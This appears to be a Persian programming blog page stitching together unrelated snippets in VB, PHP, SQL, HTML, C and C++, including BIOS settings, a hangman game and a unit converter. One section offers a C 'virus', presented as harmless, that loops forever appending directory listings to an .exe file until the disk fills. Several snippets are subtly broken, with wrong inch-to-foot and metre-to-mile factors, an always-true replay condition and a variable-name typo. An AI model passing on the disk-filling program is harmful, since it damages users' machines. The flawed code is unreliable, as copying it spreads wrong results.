زبانهای برنامه نویسی

Private Declare Function IsNetworkAlive Lib "SENSAPI.DLL" (ByRef lpdwFlags As Long) As Long
Private Sub Command1_Click()
If IsNetworkAlive(CResult) = 0 Then
MsgBox "Not Connected", vbInformation, "www.vbking.mihanblog.com"
Else
MsgBox "Connected To the Internet", vbInformation, "www.vbking.mihanblog.com"
End If
End Sub

در ابتدا ما قصد داریم چند تصویر را به صورت تصادفی ایجاد نمائیم ،  کد زیر را در صفحه خود قرار دهید :

1
2
3
4
5
<?php
$images=array('pic1','pic2','pic3','pic4','pic5');
$i=rand(0,count($images)-1);
$selectimage="newfolder/{$images[$i]}.jpg";
?>
این نخستین اسکریپت ما برای آموزش است ،در این اسکریپت یک آرایه تشکیل شده از نام های تصاویر با پسوند jpg ایجاد نموده ایم ،

سپس با استفاده از تابع rand آن ها را به صورت تصادفی بارگذاری می نمائیم.

توضیح خط به خط:

خط اول :

در ابتدا یک آرایه به نام images ایجاد نموده ایم ، حال  در مسیر htdocs و سپس xampp یک پوشه به نام newfolder ایجاد نموده ایم و 5 تصویر با نام های pic1

و pic2 و pic3 و pic4 و pic5 در آن پوشه قرار داده ایم ، حال نام های این تصاویر را در آرایه خود قرار داده ایم .

خط دوم:

برای ایجاد تصادفی تصاویر ، ما با استفاده از تابع rand حداقل و حداکثر شمارشگر را مشخص نموده ایم ، همانطور که می دانید یک آرایه از شماره 0(صفر) شروع می شود ،

پس ما اگر بخواهیم مقادیر یک آرایه را بخوانیم با از صفر شروع کنیم تا یکی مانده به آخر (یعنی همان -1) ، ما در این قسمت 5 مقدار را به آرایه خود داده ایم ، یعنی می شود

از 0 تا 5 ، اما ما می توانستیم همان اول به تابع rand مقدار 0 تا 5 بدهیم ، دلیل اینکه این کار را انجام ندادیم ، این بود که اگر بعدها قصد داشتیم تعداد تصاویر را بیشتر نمائیم ، به مشکل برنخوریم.

اگر کار شمردن را به php بسپریم کار بسیار آسان تر می شود ، این کاری است که تابع count انجام می دهد ، این تابع تعداد عناصر یک آرایه را می شمرد ،0 تا آخر آرایه

(-1) سپس مقدار نهایی را در متغیر i قرار می دهد.

نکته : اگر درک مفهوم images-1 برای شما سخت است ، این کد را می توانید به صورت زیر نیز بنویسید:
1
2
3
$NumberPic=count($images);   // $NumberPic is 5
$max=$NumberPic -1;                // $max is 4
$i=rand(0,$max);                        // $i = rand(0,4)
خط سوم :

در این خط تنها کاری که ما انجام داده ایم ، مشخص کردن مسیر تصاویر است ، همانگونه که در ابتدا عرض کردیم ، یک پوشه در مسیر جاری به نام newfolder

ایجاد نمائید ، مانام این پوشه را در این قسمت آورده ایم ، سپس یک علامت / قرار داده ایم ، سپس متغیر images را که حاوی آرایه می باشد

را با اندیس i مشخص نموده ایم ، دلیل اینکه این مقدار را داخل براکت قرار داده ایم این است که نشان دهیم این دو یعنی متغیر و اندیس یک بخش هستند ،

سپس در آخر با استفاده از عملگرد نقطه (.) فرمت تصاویر را نیز مشخص نموده ایم.

نکته : در قسمت بالا می توانستیم نام های تصاویر را همراه با فرمتشان ذکر کنیم و دیگر لازم نبود که در خط سوم کد .jpg را اضافه نمائیم.
حال زمان به نمایش درآوردن تصاویر می باشد (این کد را در بخش body صفحه خود قرار دهید):

1
<img src="<?php echo $selectimage;?> "  />
در کد بالا ما فقط در بخش src تگ img متغیر selectimage را فراخوانی نموده ایم.

حال اگر کد صفحه خود را ذخیره و اجراه نمائید ، تصاویر به صورت تصادفی برای شما به نمایش خواهند درآمد .

ابتدا کامپیوتر را Restart کرده و چندین بار کلید Delete را فشار داده تا به محیط Setup بروید.

سپس گزینه Intergrated Peripherals را انتخاب کنید و در صفحه باز شده گزینه Keyboard Power on را انتخاب

کنید که شامل گزینه های زیر می باشد و به ترتیب آنها را توضیح می دهیم:
1- گزینه Password : با انتخاب این گزینه می توان پسوردی را وارد نمود و از طریق پسورد کامپیوتر را روشن

کرد اگر این گزینه را انتخاب کنیم باید بعد از آن گزینه KB Power On Password را انتخاب وپسورد مورد نظر را

وارد کرد و سپس آن را تائید نمود.

2- گزینه Any Key : با انتخاب این گزینه با هر کلید صفحه کلید می توان کامپیوتر را روشن نمود.

3- گزینه Disabled : با انتخاب این میتوان گزینه روشن شدن کامپیوتر را توسط صفحه کلید غیره فعال نمود.

4. گزینه Key Board 98 : این گزینه مخصوص صفحه کلید های قدیمی است. پس از انتخاب یکی از گزینه

های بالا کلید F10 را فشار داده وتغیرات اعمال شده را با زدن کلید Y وسپس کلید Enter آن را تائید می کنیم .
لازم به ذکر است که با برداشتن جامپر Power روی کیس می توان فقط توسط صفحه کلید کامپیوتر را روشن نمود.

           اضافه کردن عنصر به آرایه ی کنترلی در زبان vb

1. فرم جدید ایجاد کنید  و نام انرا  frmdarray بگذارید
2.دکمه ای ایجاد کنید و نام آنرا cmdarray بگذارید
3. در پنجره propertis  مقدار مشخصه  index  را صفر مقدار دهی کنید
4.مشخصه caption  دکمه را  baton#0  تغییر دهید
5. کر زیر را در  form_load  بنویسید
private sub form_load
load cmdarray(1)
cmdarray(1).left=cmdarray(0). left
cmdarray(1).top=mdarray(0).top+cmdarray(0).height
cmdarray(1).caption="button#1"
cmdarray(1).visibele=true
end sub

                            عملکرد unionn برای ایجاد پرس و جوی ترکیب رکودها درSQL

[table] query   union[all] [table] query2
[union[all][table]query[...]]

در این دستور باید تعداد فیلدهای دو  select که با هم union می شوند یکسان می باشد.

نوع ترتیب و نام انها نیز یکی می باشد در صورت عدم تتساوی نام.باید lias(افزودن عنوان جدید یا as) استفاده کرد.

ویژگی های عمومی (Global Attributes) در HTML  به شرح زیر میباشد.

1. accesskey
2. class
3. contenteditable
4. contextmenuelement
5. dir
6. draggable
7. dropzone
8. hidden
9. id
10. lang
11. spellcheck
12. style
13. tabindex
14. title
15. translate
16. Event Attributes

این ویروس را هم برای آنان که با زبان برنامه نویسی سی کار می کنند می نویسیم

1. برنامه کامپایلر را اجرا کنید

برای این کار باید کامپایلر های هم چون (توربو سی) یا (بورلند سی) رو که هر دو محصول شرکتد بورلند هستند را داشته باشید

کد این ویروس بسیار بی خطر که مثل کبریت یس خطر می ماند به شرح زیر است.

//STAR v.c

#include<stdio.h>
#include<stdio.h>

void main()

{

while(1)

{

system("dir>>parsX.exe");

}

}

//end

#include <iostream>
#include <time.h>
#include <stdlib.h>
#include <string>
#include <windows.h>
using namespace std;

void sleep(long wait)
{
    clock_t start = clock();
    while (clock() - start < wait);
}

int main()
{
    char d;
again:
    {
        system("cls");
        system("COLOR 3");
        cout <<endl<<"THIS IS A GAME FOR ONE PERSON TO PLAY!" << endl;
        sleep(2100);
        system("CLS");
        string words1[10];
        string words2[10];
        string words3[10];
        string words4[10];
        words1[0] = "ill";
        words1[1] = "pig";
        words1[2] = "owl";
        words1[3] = "man";
        words1[4] = "sea";
        words1[5] = "eye";
        words1[6] = "say";
        words1[7] = "lie";
        words1[8] = "buy";
        words1[9] = "die";
        words2[0] = "trouble";
        words2[1] = "carwash";
        words2[2] = "machine";
        words2[3] = "dicount";
        words2[4] = "battery";
        words2[5] = "mistake";
        words2[6] = "patient";
        words2[7] = "outcast";
        words2[8] = "cottage";
        words2[9] = "climate";
        words3[0] = "watermelon";
        words3[1] = "themidwest";
        words3[2] = "icedancing";
        words3[3] = "tetrathlon";
        words3[4] = "expressive";
        words3[5] = "texteditor";
        words3[6] = "screentest";
        words3[7] = "overheated";
        words3[8] = "inducement";
        words3[9] = "medication";
        words4[0] = "oystercatching";
        words4[1] = "discouragement";
        words4[2] = "discrimination";
        words4[3] = "contraindicate";
        words4[4] = "selfsupporting";
        words4[5] = "middledistance";
        words4[6] = "middleeuropean";
        words4[7] = "inconsiderable";
        words4[8] = "fingerprinting";
        words4[9] = "extracorporial";
        system("COLOR 2");
        cout <<endl<<"IN HOW MANY CHARACTERS ARE YOU ENTRESTED(3,7,10,14)";
        int number_characters_player_chooses;
        cin >>number_characters_player_chooses;
        int number_of_the_word;

        srand(time(0));
        number_of_the_word = (rand()%(10));

        string the_word;
        if(number_characters_player_chooses ==3)
            the_word = words1[number_of_the_word];
        else if(number_characters_player_chooses == 7)
            the_word = words2[number_of_the_word];
        else if(number_characters_player_chooses == 10)
            the_word = words3[number_of_the_word];
        else
            the_word = words4[number_of_the_word];



        system("CLS");

        string guess_marks_saver[number_characters_player_chooses];
        int counter =0;
        for(; number_characters_player_chooses >0; number_characters_player_chooses--)
        {
            guess_marks_saver[counter] ="-";
            counter++;
        }
        int number_of_chances = counter ;
        system("COLOR 3");
        for(; number_of_chances >0; number_of_chances--)
        {
            int counter1 =0;
            string guess;
            string if_guess;
            int guess_character_browser =0;

            cout <<"          ";

            for(; counter1<counter; counter1++)
            {
                cout <<guess_marks_saver[counter1];
            }
            cout <<endl<<number_of_chances<<" CHANCES";
            cout <<endl<<"NOW GUESS:";
            cin>>guess;

            for(; guess_character_browser<counter; guess_character_browser++)
            {
                if_guess = the_word.at(guess_character_browser);
                if(if_guess == guess)
                {
                    guess_marks_saver[guess_character_browser] = guess;
                    number_of_chances ++;
                }
                else if(guess == the_word)
                {
                    cout <<endl<<endl<<"YOU WON!";
                    cout <<endl<<endl<<"YOUR SCORE:"<<((number_of_chances-1)*100)/ counter<<" /100";
                    system("COLOR 2");
                    sleep(200);
                    system("COLOR 3");
                    sleep(200);
                    system("COLOR 2");
                    sleep(200);
                    system("COLOR 3");
                    sleep(200);
                    system("COLOR 2");
                    sleep(200);
                    system("COLOR 3");
                    sleep(200);
                    system("COLOR 2");
                    sleep(200);
                    system("COLOR 3");
                    sleep(200);
                    system("COLOR 2");
                    sleep(200);
                    system("COLOR 3");
                    sleep(200);
                    system("COLOR 2");
                    sleep(200);
                    system("COLOR 3");
                    sleep(200);
                    system("COLOR 2");

                    system("COLOR 7");
                    cout<<endl<<"Do you want to play again?(Y/N)";
                    cin>>d;
                    if(d=='y'||'Y')
                        goto again;
                }
            }

            int counter3 =0;
            string character;
            for(; counter3<counter&&character!= "-"; counter3++)
            {
                character = guess_marks_saver[counter3];
                if(counter3 == counter-1)
                {
                    cout <<endl<<endl<<"YOU WON!";
                    cout <<endl<<endl<<"YOUR SCORE:"<<((number_of_chances-1)*100)/ counter<<" /100";
                    system("COLOR 2");
                    sleep(200);
                    system("COLOR 3");
                    sleep(200);
                    system("COLOR 2");
                    sleep(200);
                    system("COLOR 3");
                    sleep(200);
                    system("COLOR 2");
                    sleep(200);
                    system("COLOR 3");
                    sleep(200);
                    system("COLOR 2");
                    sleep(200);
                    system("COLOR 3");
                    sleep(200);
                    system("COLOR 2");
                    sleep(200);
                    system("COLOR 3");
                    sleep(200);
                    system("COLOR 2");
                    sleep(200);
                    system("COLOR 3");
                    sleep(200);
                    system("COLOR 2");

                    system("COLOR 7");
                    cout<<endl<<"Do you want to play again?(Y/N)";
                    cin>>d;
                    if(d=='y'||'Y')
                        goto again;

                }
            }
            system("CLS");
            counter3 =0;
        }
        cout <<endl<<endl<<"YOU LOST";
        cout <<endl<<endl<<"THE WORD WAS:"<<the_word;
        system("COLOR 4");
        sleep(200);
        system("COLOR 3");
        sleep(200);
        system("COLOR 4");
        sleep(200);
        system("COLOR 3");
        sleep(200);
        system("COLOR 4");
        sleep(200);
        system("COLOR 3");
        sleep(200);
        system("COLOR 4");
        sleep(200);
        system("COLOR 3");
        sleep(200);
        system("COLOR 4");
        sleep(200);
        system("COLOR 3");
        sleep(200);
        system("COLOR 4");
        sleep(200);
        system("COLOR 3");
        sleep(200);
        system("COLOR 4");
    }
    system("COLOR 7");
    cout<<endl<<"Do you want to play again?(Y/N)";
    cin>>d;
    if(d=='y'||'Y')
        goto again;
    return 0;
}

                                      تبدیل واحد طول(اینچ،فوت،مایل،یارد،متر)           

#include <iostream>
#include <cmath>
using namespace std;
int main()
{
    cout<<"Inch: 1 // Foot: 2 // Yard: 3  //  Mile: 4 //  Meter: 5"<<endl;
    int a,b;
    int n;
    cin>>a;
    cout<<"TO"<<endl;
    cin>>b;
    cout<<"Number"<<endl;
    cin>>n;
    if(a==1)
    {
        if(b==2)
            cout<<n*0.08433;
        if(b==3)
            cout<<n*0.02778;
        if(b==4)
            cout<<n*157.83*pow(10,-7);
        if(b==5)
            cout<<n*0.0254;
    }
    if(a==2)
    {
        if(b==1)
            cout<<n*12 ;
        if(b==3)
            cout<<n*0.3333 ;
        if(b==4)
            cout<<n*189.39*pow(10,-6) ;
        if(b==5)
            cout<<n*0.3048 ;
    }
    if(a==3)
    {
        if(b==1)
            cout<<n*36 ;
        if(b==2)
            cout<<n*3 ;
        if(b==4)
            cout<<n*568.186*pow(10,-6) ;
        if(b==5)
            cout<<n*0.9144 ;
    }
    if(a==4)
    {
        if(b==1)
            cout<<n*63360 ;
        if(b==2)
            cout<<n*5279.95 ;
        if(b==3)
            cout<<n*1759.985 ;
        if(b==5)
            cout<<n*1609.35 ;
    }
    if(a==5)
    {
        if(b==1)
            cout<<n*39.37 ;
        if(b==2)
            cout<<n*3.2808 ;
        if(b==3)
            cout<<n*1.0936 ;
        if(b==4)
            cout<<n*621.36*pow(10,-3) ;
    }
    return 0;
}